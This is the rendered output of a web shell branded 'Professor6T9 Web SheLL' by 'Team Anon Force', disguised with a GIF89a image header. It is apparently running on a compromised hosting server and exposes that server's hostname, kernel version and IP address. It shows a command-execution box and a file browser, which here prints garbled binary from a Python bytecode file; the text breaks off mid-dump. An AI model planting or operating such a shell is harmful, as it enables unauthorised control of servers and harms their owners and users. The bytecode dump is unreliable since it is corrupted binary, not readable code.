GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
idna
/
__pycache__
[ HOME ]
Exec
Submit
File Name : codec.cpython-38.pyc
U Ƿ�f^ � @ s� d dl Z d dlZd dlmZmZmZ ddlmZmZm Z m Z mZ e�d�Z G dd� de j�ZG dd � d e j�ZG d d� de j�ZG dd � d ee j�ZG dd� dee j�Zeee j d�dd�Ze �e� dS )� N)�Any�Optional�Tuple� )� IDNAError�alabel�decode�encode�ulabelu [.。.。]c @ sD e Zd Zdeeeeef d�dd�Zd eeeeef d�dd�ZdS ) �Codec�strict)�data�errors�returnc C s. |dkrt d�|���|sdS t|�t|�fS )Nr �Unsupported error handling "{}"�� r )r �formatr �len��selfr r � r �;/opt/alt/python38/lib/python3.8/site-packages/idna/codec.pyr s zCodec.encodec C s. |dkrt d�|���|sdS t|�t|�fS )Nr r �� r )r r r r r r r r r s zCodec.decodeN)r )r ) �__name__� __module__�__qualname__�strr �bytes�intr r r r r r r s r c @ s( e Zd Zeeeeeef d�dd�ZdS )�IncrementalEncoder�r r �finalr c C s� |dkrt d�|���|sdS t�|�}d}|rV|d sDd}|d= n|sV|d= |rVd}g }d}|D ]*}|�t|�� |r�|d7 }|t|�7 }qbd�|�| } |t|�7 }| |fS ) Nr r r r ���� .r r )r r �_unicode_dots_re�split�appendr r �join) r r r r# �labels�trailing_dot�result�size�labelZresult_bytesr r r �_buffer_encode s0 z!IncrementalEncoder._buffer_encodeN) r r r r �boolr r r r/ r r r r r! s r! c @ s( e Zd Zeeeeeef d�dd�ZdS )�IncrementalDecoderr"